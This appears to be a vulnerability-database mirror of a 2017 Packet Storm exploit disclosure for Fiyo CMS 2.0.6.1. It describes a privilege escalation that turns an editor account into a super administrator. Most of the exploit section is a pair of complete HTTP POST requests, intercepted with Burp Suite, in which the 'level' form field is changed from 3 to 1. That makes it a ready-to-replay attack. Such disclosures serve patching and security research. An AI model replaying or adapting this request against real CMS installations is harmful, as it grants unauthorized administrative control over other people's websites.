Lucene search
K

Fiyo CMS 2.0.6.1 Privilege Escalation

🗓️ 11 Mar 2017 00:00:00Reported by rungga_reksyaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

Privilege Escalation Vulnerability in Fiyo CMS 2.0.6.1. Manipulation of User Group Leads to Unauthorized Admin Access

Code
`# Exploit Title: Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1  
# Google Dork: no  
# Date: 11-03-2017  
# Exploit Author: @rungga_reksya, @dvnrcy  
# Vendor Homepage: http://www.fiyo.org  
# Software Link: https://sourceforge.net/projects/fiyo-cms  
# Version: 2.0.6.1  
# Tested on: Windows Server 2012 Datacenter Evaluation  
# CVE : no  
  
I. Background (Bahasa/Indonesian Language):  
Fiyo CMS dikembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration.  
  
II. Description:  
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1  
  
III. Exploit:  
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor).  
  
If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege:  
super administrator = 1  
administrator = 2  
editor = 3  
publisher = 4  
member = 5  
  
Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1).A The first you access on menu aEdit Profilea and click aSimpan (Save)a, and then change like this on your burpsuite intercept menu:  
  
Original:  
  
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1  
Host: 192.168.1.2  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3  
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 134  
  
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio=  
  
  
Manipulation (Change Level=3 to be Level=1):  
  
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1  
Host: 192.168.1.2  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3  
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 134  
  
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio=  
  
Yeaaah, now editor become super administrator privilege and The level of administrator can be super administrator too ^_^  
  
  
IV. Thanks to:  
- Alloh SWT  
- MyBoboboy  
- MII CAS  
- Komunitas IT Auditor & IT Security Kaskus  
  
  
Refer:  
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation